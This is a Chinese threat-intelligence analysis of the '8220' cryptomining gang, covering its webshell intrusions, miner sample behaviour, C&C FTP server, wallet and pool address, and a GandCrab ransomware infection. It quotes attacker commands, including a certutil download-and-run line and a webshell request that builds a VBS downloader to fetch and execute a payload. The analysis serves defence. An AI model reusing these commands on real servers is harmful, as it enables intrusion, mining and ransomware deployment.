“8220团伙”最新活动分析：挖矿木马与勒索病毒共舞_程序员

“8220团伙”最新活动分析：挖矿木马与勒索病毒共舞

开化新闻网

2018-10-19 16:26:00

0次

前段时间，腾讯御见威胁情报中曾经披露了《Tomcat服务器被爆破入侵，企业遭遇GandCrab勒索病毒新变种与挖矿木马双重打击》（https://mp.weixin.qq.com/s/i-Ty_ugbPFN2Our40gvJ4A）的报告，近期我们再次监控到了大量的服务器被入侵而进行挖矿，部分机器还被新版的GandCrab V5.0.2勒索病毒攻击。而通过该组织暴露的ftp地址进行分析发现，该组织疑似友商之前披露的挖矿团伙：“8220挖矿团伙”。为了秉承“谁先发现谁命名”以及情报互通、共享的原则，我们继续沿用友商对该团伙的命名。

二、分析

1、入侵路径

该团伙利用多个漏洞以及弱口令进行入侵，入侵成功后，会上传webshell，通过webshell执行下载命令，下载挖矿木马并执行。

执行命令为：

cmd.exe /c certutil.exe -urlcache -split -f C:/Windows/temp/dog.exe&cmd.exe /c C:/Windows/temp/dog.exe

2、样本分析

样本(antspywares.exe)首先创建互斥量”4e064bee1f3860fd606a”,然后调用解密函数对内置加密的挖矿配置数据进行解密。解密密钥为”0125789244697858″，解密出来的挖矿配置数据除了钱包地址和矿池以外，还有用于获取最新挖矿配置文件的下载地址url。

然后样本会访问下载解密的更新配置文件url，并在%appdata%目录下创建”SkkdFvhVkY”文件夹，将更新配置文件信息和样本复制到该文件夹下。

同时在”Startup”文件夹下写入SLVjiAEwaK.url文件，用于自启动。

随后会根据系统环境不同创建不同的傀儡进程，解密数据段中的矿机，将矿机注入傀儡进程中，并以傀儡进程进行挖矿。

利用的傀儡进程：

创建傀儡进程挖矿：

被注入的矿机：

三、关联分析

在腾讯御见情报中心查询下载C&C，发现其21端口开放(FTP服务)，

于是我们试图访问了该FTP服务器，发现是允许访问的，并在其目录下发现多个文件，包括此次下载的挖矿木马。

#p#分页标题#e#

对其ftp服务器上的文件进行分析发现，发现大多文件均为存在不同漏洞的服务器合集。

如其中一个文件夹，猜测是通过tomcat漏洞或者弱口令扫描到到服务器地址集合：

在分析下载下来的文件中发现一个用于挖矿的配置文件3.json文件:

其使用的钱包地址为

“4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg”

而该钱包地址曾经被友商所披露的8220挖矿团伙所使用（图为友商报告中的钱包信息截图）：

同样矿池地址158.69.133.20:3333也跟友商报告中的一致：

此外，根据该团伙的FTP上下载下来的文件分析发现，大多都是存在漏洞服务器ip合集，而该特性同样跟友商的报告中指出的“该团伙擅长使用不同的服务器漏洞进行攻击并且进行挖矿”的特性相一致。

如某段shell脚本（logo8.jpg）：

因此我们确定该恶意基础设施为“8220团伙”所有。同时我们对其中一位受害者服务器暴露在外网的日志分析发现，该服务器上还被下载运行了GandCrab 5.0.2勒索病毒。

执行命令行：

GET /jbossass/jbossass.jsp?ppp=cmd.exe /c “@echo Set objXMLHTTP=CreateObject(“MSXML2.XMLHTTP”)>%TEMP%\poc.vbs &@echo objXMLHTTP.open “GET”,””,false>>%TEMP%\poc.vbs&@echo objXMLHTTP.send()>>%TEMP%\poc.vbs&@echo If objXMLHTTP.Status=200 Then>>%TEMP%\poc.vbs&@echo Set objADOStream=CreateObject(“ADODB.Stream”)>>%TEMP%\poc.vbs&@echo objADOStream.Open>>%TEMP%\poc.vbs&@echo objADOStream.Type=1 >>%TEMP%\poc.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>%TEMP%\poc.vbs&@echo objADOStream.Position=0 >>%TEMP%\poc.vbs&@echo objADOStream.SaveToFile “%TEMP%\default.exe”>>%TEMP%\poc.vbs&@echo objADOStream.Close>>%TEMP%\poc.vbs&@echo Set objADOStream=Nothing>>%TEMP%\poc.vbs&@echo End if>>%TEMP%\poc.vbs&@echo Set objXMLHTTP=Nothing>>%TEMP%\poc.vbs&@echo Set objShell=CreateObject(“WScript.Shell”)>>%TEMP%\poc.vbs&@echo objShell.Exec(“%TEMP%\default.exe”)>>%TEMP%\poc.vbs&cscript.exe %TEMP%\poc.vbs” HTTP/1.1

中毒后截图：